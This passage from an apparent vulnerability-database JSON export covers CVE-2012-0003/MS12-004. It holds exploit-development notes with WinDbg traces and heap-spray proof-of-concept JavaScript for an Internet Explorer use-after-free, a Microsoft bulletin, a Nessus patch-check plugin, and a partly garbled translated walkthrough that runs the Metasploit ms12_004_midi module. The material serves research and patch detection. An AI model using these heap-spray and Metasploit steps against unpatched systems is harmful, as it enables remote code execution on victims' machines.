1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9268 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9278 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9288 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9298 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b92f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9308 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9318 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9328 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9338 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9348 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9358 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9368 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9378 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9388 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9398 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b93f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0\n \n\nSprayed memory should look like:\n \n \n 0:008> dd eax+10\n 1a1b2000 00000001 1a1b203c 00000000 1a1b2098\n 1a1b2010 1a1b2064 1a1b2068 00000000 00000000\n 1a1b2020 00000000 00000000 00000000 00000000\n 1a1b2030 00000000 00000000 00000000 00000000\n 1a1b2040 00000000 00000000 00000000 00000000\n 1a1b2050 00000000 00000000 00000000 00000000\n 1a1b2060 00000000 00000000 00000000 00000000\n 1a1b2070 00000000 00000000 00000000 00000000\n \n x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568\n eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc\n cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202\n MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19:\n 67ed9457 8b8a94000000 mov ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a\n 0:008> dd edx + 94\n 061b915c 1a1b2004\n \n 0:008> t\n eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568\n eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc\n cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202\n MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25:\n 67ed9463 8b410c mov eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a\n 0:008> dd ecx + 0c\n 1a1b2010 1a1b2064 1a1b2068 00000000 00000000\n \n 1a1b2064 must point to sprayed memory with content \"0\"\n \n 0:008> t\n eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568\n eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl zr na pe nc\n cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246\n MSHTML!CMarkup::NotifyElementEnterTree+0x277:\n 67e86ecd 8b8698000000 mov eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a\n 0:008> dd esi + 98\n 061b9160 1a1b200c\n \n 0:008> dd 1a1b200c\n 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000\n 1a1b201c 00000000 00000000 00000000 00000000\n 1a1b202c 00000000 00000000 00000000 00000000\n 1a1b203c 00000000 00000000 00000000 00000000\n 1a1b204c 00000000 00000000 00000000 00000000\n 1a1b205c 00000000 00000000 00000000 00000000\n 1a1b206c 00000000 00000000 00000000 00000000\n 1a1b207c 00000000 00000000 00000000 00000000\n \n 0:008> t\n eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568\n eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl nz na pe nc\n cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206\n MSHTML!CMarkup::NotifyElementEnterTree+0x28d:\n 67e86ee3 8b4008 mov eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a\n 0:008> dd eax+8\n 1a1b2014 1a1b2068\n \n\nSimulate an spray with:\n \n \n .dvalloc /b 1a1b1ff0 4000\n \n\nTHen go to 1a1b2004 and write:\n \n \n 1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068\n \n\nAfter several tries I keep crashing curiously again:\n \n \n 0:008> r\n eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00\n eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0 nv up ei pl nz na pe nc\n cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206\n MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28:\n 67ed9466 83b8c001000000 cmp dword ptr [eax+1C0h],0 ds:0023:000001c0=????????\n 0:008> dd ecx+c\n 1a1b1ffc 00000000 00000003 1a1b203c 00000000\n 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000\n \n\nSo we\u2019re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability, \nbut finally crashes again, looks like because finally we don\u2019t control the reused \nmemory, someone else won the race :?\n \n \n .dvalloc /b 1a1b1ff0 4000\n f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A\n \n\n# Heap Spray with Attributes\n\nIn order to use the technique by vupen disclosed here:\n\n<http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php>\n\nthe cloneNode doesn\u2019t work anymore:\n \n \n \tvar cl0ne = test.cloneNode(true);\n \n\nIt won\u2019t clone attribute values, so CAttrValue::Copy isn\u2019t hit anymore. In order to solve, after checking \nthe xrefx to CattrValue::Copy there is an interesting new path:\n \n \n CElement::mergeAttributes\n \n Here is PoC:\n \n function test() {\n \tvar myDiv = document.getElementById(\"pwn\")\n \tvar test = document.createElement(\"select\")\n \ttest.setAttribute('obj0', \"AAAAAAAAAAAAAAAAAAAA\")\n \ttest.setAttribute('obj1', new Date())\n \ttest.setAttribute('obj2', new Date())\n \ttest.setAttribute('obj3', \"METASPLOIT\")\n \talert(test.attributes.length);\n \talert(test.getAttribute('obj0'));\n \tvar cl0ne = test.cloneNode(true);\n \tcl0ne.mergeAttributes(test);\n }\n \n\nSpraying with Attributes, definite version:\n \n \n <html>\n <head>\n \n <script>\n function myTest() {\n \n \tvar test = document.createElement(\"select\")\n \tfor (var j = 0; j < 0x80; j++) {\n \t\ttest.setAttribute('test' + j, unescape(\"%u0001\"))\n \t}\n \n \tvar empty = document.createElement(\"select\")\n \n \talert('oka, bp copy......')\n \tvar myAttributes = new Array();\n \tfor (var i = 0; i < 0x20; i++) {\n \t\tmyAttributes[i] = empty.cloneNode(true);\n \t\tmyAttributes[i].mergeAttributes(test);\n \t}\n \n \n \talert('oka, check what is there in memory...')\n \talert(myAttributes[0].getAttribute('test0').length);\n \n \t//alert(myAttributes[0].test0.length);\n \t//alert(cl0ne.attributes.length);\n }\n </script>\n </head>\n <body onload=\"myTest();\">\n </body>\n </html>\n \n\nIt will spray 0x800 size structs (with the Variant types and the pointers to strings!)\n", "modified": "2020-02-13T00:00:00", "published": "2014-02-14T00:00:00", "id": "AKB:2A826956-B7BF-4556-BC5F-09013506A0D1", "href": "https://attackerkb.com/topics/4zowfplDhQ/microsoft-internet-explorer-use-after-free-vulnerability", "type": "attackerkb", "title": "Microsoft Internet Explorer Use-After-Free Vulnerability", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mskb": [{"lastseen": "2021-01-01T22:50:12", "bulletinFamily": "microsoft", "cvelist": ["CVE-2012-0003", "CVE-2012-0004"], "description": "<html><body><p>Resolves vulnerabilities in Microsoft Windows that could allow remote code execution if a user opens a specially crafted media file. An attacker who successfully exploited the vulnerabilities could gain the same user rights as the local user.</p><h2>Introduction</h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS12-004. To view the complete security bulletin, visit one of the following Microsoft websites: <ul class=\"sbody-free_list\"><li>Home users:<br/><div class=\"indent\"><a href=\"http://www.microsoft.com/security/pc-security/bulletins/201201.aspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/security/pc-security/bulletins/201201.aspx</a></div><span class=\"text-base\">Skip the details</span>: Download the updates for your home computer or laptop from the Microsoft Update website now: <div class=\"indent\"><a href=\"http://update.microsoft.com/microsoftupdate\" id=\"kb-link-2\" target=\"_self\">http://update.microsoft.com/microsoftupdate</a></div></li><li>IT professionals:<br/><div class=\"indent\"><a href=\"http://technet.microsoft.com/security/bulletin/ms12-004\" id=\"kb-link-3\" target=\"_self\">http://technet.microsoft.com/security/bulletin/MS12-004</a></div></li></ul><span><h3 class=\"sbody-h3\">How to obtain help and support for this security update</h3> <br/>Help installing updates: <br/><a href=\"https://support.microsoft.com/ph/6527\" id=\"kb-link-4\" target=\"_self\">Support for Microsoft Update</a><br/><br/>Security solutions for IT professionals: <br/><a href=\"http://technet.microsoft.com/security/bb980617.aspx\" id=\"kb-link-5\" target=\"_self\">TechNet Security Troubleshooting and Support</a><br/><br/>Help protect your computer that is running Windows from viruses and malware:<br/><a href=\"https://support.microsoft.com/contactus/cu_sc_virsec_master\" id=\"kb-link-6\" target=\"_self\">Virus Solution and Security Center</a><br/><br/>Local support according to your country: <br/><a href=\"https://support.microsoft.com/common/international.aspx\" id=\"kb-link-7\" target=\"_self\">International Support</a><br/><br/></span><br/></div><h2>More Information</h2><div class=\"kb-moreinformation-section section\"><h3 class=\"sbody-h3\">More information about this security update</h3><h4 class=\"sbody-h4\">Known issues and additional information about this security update</h4>The following articles contain additional information about this security update as it relates to individual product versions. The articles may contain known issue information. If this is the case, the known issue is listed below each article link. <ul class=\"sbody-free_list\"><li><a href=\"https://support.microsoft.com/en-us/help/2598479\" id=\"kb-link-8\">2598479 </a> MS12-004: Description of the security update for Windows Multimedia Library for Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008: January 10, 2012</li><li><a href=\"https://support.microsoft.com/en-us/help/2628259\" id=\"kb-link-9\">2628259 </a> MS12-004: Description of the security update for Windows Multimedia Library for Windows XP Media Center Edition 2005: January 10, 2012</li><li><a href=\"https://support.microsoft.com/en-us/help/2628642\" id=\"kb-link-10\">2628642 </a> MS12-004: Description of the security update for Windows Media Center TV: January 10, 2012</li><li><a href=\"https://support.microsoft.com/en-us/help/2631813\" id=\"kb-link-11\">2631813 </a> MS12-004: Description of the security update for DirectShow: January 10, 2012</li></ul></div></body></html>", "edition": 2, "modified": "2012-07-18T17:14:25", "id": "KB2636391", "href": "https://support.microsoft.com/en-us/help/2636391/", "published": "2012-01-10T00:00:00", "title": "MS12-004: Vulnerabilities in Windows Media could allow remote code execution: January 10, 2012", "type": "mskb", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2021-02-01T06:14:59", "description": "The version of Windows Media installed on the remote host is affected\nby one or both of the following vulnerabilities :\n\n - The Winmm.dll library as used by Windows Media Player\n does not properly handle specially crafted MIDI files.\n (CVE-2012-0003)\n\n - A DirectShow component of DirectX does not properly\n handle specially crafted media files. (CVE-2012-0004)\n\nAn attacker who tricked a user on the affected host into opening a\nspecially crafted MIDI or media file could leverage these issues to\nexecute arbitrary code in the context of the current user.", "edition": 27, "published": "2012-01-10T00:00:00", "title": "MS12-004: Vulnerabilities in Windows Media Could Allow Remote Code Execution (2636391)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0003", "CVE-2012-0004"], "modified": "2021-02-02T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS12-004.NASL", "href": "https://www.tenable.com/plugins/nessus/57472", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(57472);\n script_version(\"1.22\");\n script_cvs_date(\"Date: 2018/11/15 20:50:31\");\n\n script_cve_id(\"CVE-2012-0003\", \"CVE-2012-0004\");\n script_bugtraq_id(51292, 51295);\n script_xref(name:\"EDB-ID\", value:\"18426\");\n script_xref(name:\"MSFT\", value:\"MS12-004\");\n script_xref(name:\"IAVA\", value:\"2012-A-0005\");\n script_xref(name:\"MSKB\", value:\"2598479\");\n script_xref(name:\"MSKB\", value:\"2628259\");\n script_xref(name:\"MSKB\", value:\"2628642\");\n script_xref(name:\"MSKB\", value:\"2631813\");\n\n script_name(english:\"MS12-004: Vulnerabilities in Windows Media Could Allow Remote Code Execution (2636391)\");\n script_summary(english:\"Checks version of Winmm.dll / Quartz.dll / Mstvcapn.dll\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"Opening a specially crafted media file could result in arbitrary code\nexecution.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The version of Windows Media installed on the remote host is affected\nby one or both of the following vulnerabilities :\n\n - The Winmm.dll library as used by Windows Media Player\n does not properly handle specially crafted MIDI files.\n (CVE-2012-0003)\n\n - A DirectShow component of DirectX does not properly\n handle specially crafted media files. (CVE-2012-0004)\n\nAn attacker who tricked a user on the affected host into opening a\nspecially crafted MIDI or media file could leverage these issues to\nexecute arbitrary code in the context of the current user.\"\n );\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/ms12-004\");\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Microsoft has released a set of patches for Windows XP, 2003, Vista,\n2008, 7, and 2008 R2 as well as Windows XP Media Center Edition 2005\nand Windows Media Center TV Pack 2008.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'MS12-004 midiOutPlayNextPolyEvent Heap Overflow');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2012/01/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/10\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"II\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"misc_func.inc\");\n\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS12-004';\nkbs = make_list(\"2598479\", \"2628259\", \"2628642\", \"2631813\");\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(xp:'3', win2003:'2', vista:'2', win7:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\n\n# Test each component.\nvuln = FALSE;\n\n# - Windows Multimedia Library (Winmm.dll)\nkb = \"2598479\"; # nb: except for XP MCE 2005\nif (\n # Windows Vista / 2008\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Winmm.dll\", version:\"6.0.6002.22726\", min_version:\"6.0.6002.22000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Winmm.dll\", version:\"6.0.6002.18528\", min_version:\"6.0.6002.18000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows 2003 / XP 64-bit\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Winmm.dll\", version:\"5.2.3790.4916\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # # - Windows XP Media Center Edition 2005\n # hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mstvcapn.dll\", version:\"5.1.2715.5512\", min_version:\"5.1.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:\"2628259\") ||\n\n # Windows XP 32-bit\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Winmm.dll\", version:\"5.1.2600.6160\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n) vuln = TRUE;\n\n# - DirectShow (Quartz.dll)\nkb = \"2631813\";\nif (\n # Windows 7 / 2008 R2\n (\n hotfix_check_server_core() == 0 &&\n (\n hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"Quartz.dll\", version:\"6.6.7601.21847\", min_version:\"6.6.7601.21000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"Quartz.dll\", version:\"6.6.7601.17713\", min_version:\"6.6.7601.17000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.1\", sp:0, file:\"Quartz.dll\", version:\"6.6.7600.21077\", min_version:\"6.6.7600.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.1\", sp:0, file:\"Quartz.dll\", version:\"6.6.7600.16905\", min_version:\"6.6.7600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n )\n ) ||\n\n # Windows Vista / 2008\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Quartz.dll\", version:\"6.6.6002.22732\", min_version:\"6.6.6002.22000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Quartz.dll\", version:\"6.6.6002.18533\", min_version:\"6.6.6002.18000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows 2003 / XP 64-bit\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Quartz.dll\", version:\"6.5.3790.4928\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows XP 32-bit\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Quartz.dll\", version:\"6.5.2600.6169\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n) vuln = TRUE;\n\n# - Windows Vista Media Center TV Pack 2008 (Mstvcapn.dll)\nkb = \"2628642\";\nif (\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Mstvcapn.dll\", version:\"6.1.1000.18311\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n) vuln = TRUE;\n\n\n# Issue a report if we're affected.\nif (vuln)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "myhack58": [{"lastseen": "2016-12-10T17:42:07", "bulletinFamily": "info", "cvelist": [], "edition": 1, "description": "\u8fd9\u4e2a \u6f0f\u6d1e \u662f \u7531\u4e8e \u5fae\u8f6f \u7684 \u591a\u5a92\u4f53 \u5e93 winmm.dll(c:\\windows\\system32\\winmm.dll)in the processing of MIDI files, since the data of the improper handling causes the\"stack overflow\", the attacker can be embedded in a web page a special MIDI file to the remote execution of arbitrary code. \n0x01 ready to work\nUsing the msf exp: the \nmsfconsole \nsearch cve-2012-0003 \nuse exploit/windows/browser/ms12_004_midi \nset uripath test.html \nset payload windows/exec \nset cmd calc.exe \nserver started \nhttp://192.168.118.129:8080/test.html \n\u5947\u602a \u7684 \u662f \u5728 \u7cfb\u7edf \u4e2d \u4e0d \u5b58\u5728 test.html but access to the above generated network mA link does in the horse, and later view the msf exp:ms12_004_midi. rb, inside the generated html code is: \n\nsend_response(cli, html, {'Content-Type'=>'text/html'}) \nsend_response function in msfapi has the following usage: \nmsfapi_send_response \nThat is the equivalent of the msf built-in webserver through the send_response function to send html code to the client to achieve the below with this link: http://192.168.118.129:8080/test.html \nThis way is rather special, probably the msf web is ruby a similar python under the Django web framework for development. \n0x02 debug analysis\n\u6253\u5f00 iexplore.exe, win+r:cmd: \n\ngflags-i iexplore.exe +hpa \nHere, if in windbg set! gflag +hpa will not be successful, may be winxp or windbg questions windbg:f6 \u9644\u52a0 iexplore.exe to: \n! gflag \n0:016> ! gflag \nCurrent NtGlobalFlag contents: 0x02000000 \nhpa - Place heap allocations at ends of pages \ng \nie open: http://192.168.118.129:8080/test.html \n(180. 6f8): Access violation - code c0000005 (first chance) \nFirst chance exceptions are reported before any exception handling. \nThis exception may be expected and handled. \neax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60 \neip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0 nv up ei pl zr na pe nc \ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 \nWINMM! midiOutPlayNextPolyEvent+0x1ec: \n76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16a7f019=?? \nTo here only know 76b2d224 at a memory access exception, however, to want to write out the exp, you also need to figure out the parameter passing process,this\"stack overflow\"cve use is not DWORD SHOOT, but instead cleverly constructed html code to control the eip of the object, if it is the use of stack overflow,will generally be thought of in above to access the exception through to find a DWORD SHOOT the opportunity to override the exception processing related to the address of the function to control the eip, and to the controllable data is copied into memory after finding the heap allocation call. win+r:cmd: \ngflags-i iexplore.exe -hpa \nbu trying to start! midiOutPlayNextPolyEvent \ng \nie open: http://192.168.118.129:8080/test.html \nBreakpoint 0 hit \neax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8 \neip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc \ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 \nWINMM! midiOutPlayNextPolyEvent: \n76b2d038 8bff mov edi,edi \nIn this case interrupt down,then look no+hpa case:trying to start! midiOutPlayNextPolyEvent+0x1ec will not access exception: \nbu trying to start! midiOutPlayNextPolyEvent+0x1ec \ng \nBreakpoint 0 hit \neax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0 \neip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0 nv up ei pl nz na po nc \ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 \nWINMM! midiOutPlayNextPolyEvent+0x1ec: \n76b2d224 8a06 mov al,byte ptr [esi] ds:0023:046de111=00 \nIn this case interrupt down, see here[esi]with the above exception when accessing the[esi]are different, taking into account the Enable page heap is in a heap block after the increase specifically for detecting the overflow of the fence page, so that in the stack overflow touching the fence when the page is immediately trigger an exception, and+hpa and-hpa cases[esi]are different, should not because of the page heap caused by[esi]are different, guessing is due to trying to start! midiOutPlayNextPolyEvent+0x1ec to perform multi-pass, and just start performing to the WINMM! midiOutPlayNextPolyEvent+0x1ec, [esi]is to be accessed, just the msf set a good exp data later in a program execution to the WINMM! midiOutPlayNextPolyEvent+0x1ec, [esi]to produce a change, and in the+hpa, [esi]belongs to page the heap to increase the fence page address range was a result of the+hpa at a meeting of the Executive to the WINMM! midiOutPlayNextPolyEvent+0x1ec caused by access exception, in order to verify this idea, proceed as follows: close windbg, re-open ie, cmd: \n\n\n**[1] [[2]](<81939_2.htm>) [[3]](<81939_3.htm>) [[4]](<81939_4.htm>) [[5]](<81939_5.htm>) [[6]](<81939_6.htm>) [[7]](<81939_7.htm>) [next](<81939_2.htm>)**\n", "modified": "2016-12-10T00:00:00", "published": "2016-12-10T00:00:00", "href": "http://www.myhack58.com/Article/html/3/62/2016/81939.htm", "id": "MYHACK58:62201681939", "type": "myhack58", "title": "The vulnerability of the war of cve-2012-0003 study analysis-vulnerability warning-the black bar safety net", "cvss": {"score": 0.0, "vector": "NONE"}}], "securityvulns": [{"lastseen": "2018-08-31T11:09:45", "bulletinFamily": "software", "cvelist": ["CVE-2012-0001", "CVE-2011-3389", "CVE-2012-0005", "CVE-2012-0003", "CVE-2012-0013", "CVE-2012-0009", "CVE-2012-0004"], "description": "SafeSEH protection bypass, Windows Object Packager code execution, CSRSS privilege escalation, DirectShow / Windows Media memory corruption, Windows Packager code execution, SSL/TLS information leakage.", "edition": 1, "modified": "2012-01-21T00:00:00", "published": "2012-01-21T00:00:00", "id": "SECURITYVULNS:VULN:12137", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:12137", "title": "Microsoft Windows multiple security vulnerabilities", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}